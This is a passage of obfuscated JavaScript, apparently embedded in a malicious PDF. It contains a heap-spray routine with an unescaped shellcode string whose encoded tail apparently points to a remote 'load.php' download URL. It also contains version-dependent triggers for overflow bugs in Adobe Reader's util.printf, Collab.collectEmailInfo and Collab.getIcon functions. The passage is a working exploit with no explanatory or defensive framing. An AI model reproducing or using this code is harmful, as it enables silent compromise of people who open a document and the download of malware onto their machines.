x77f = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var o12z = 0x400000;
var u92v = x77f.length * 2;
var l22f = o12z - (u92v + 0x38);
var g98g = unescape("%u9090%u9090");
g98g = m12k(g98g, l22f);
var u86z = (g11b - 0x400000) / o12z;
for (var k37c = 0; k37c < u86z; k37c ++ ){
y11o[k37c] = g98g + x77f;
}
}
function v65c(){
var c14h = app.viewerVersion.toString();
if (c14h > 8){
u33d(1);
var i95p = "12999999999999999999";
for (m16a = 0; m16a < 276; m16a ++ ){
i95p += "8";
}
util.printf("%45000f", i95p);
}
if (c14h < 8){
u33d(0);
var a41c = unescape("%u0c0c%u0c0c");
while (a41c.length < 44952)a41c += a41c;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : a41c});
}
if (c14h < 9.1)
{
if (app.doc.Collab.getIcon){
u33d(2);
var b30x = unescape("%09");
while (b30x.length < 0x4000)b30x += b30x;
b30x = "N." + b30x;
app.doc.Collab.getIcon(b30x);
}
}
}
v65c();

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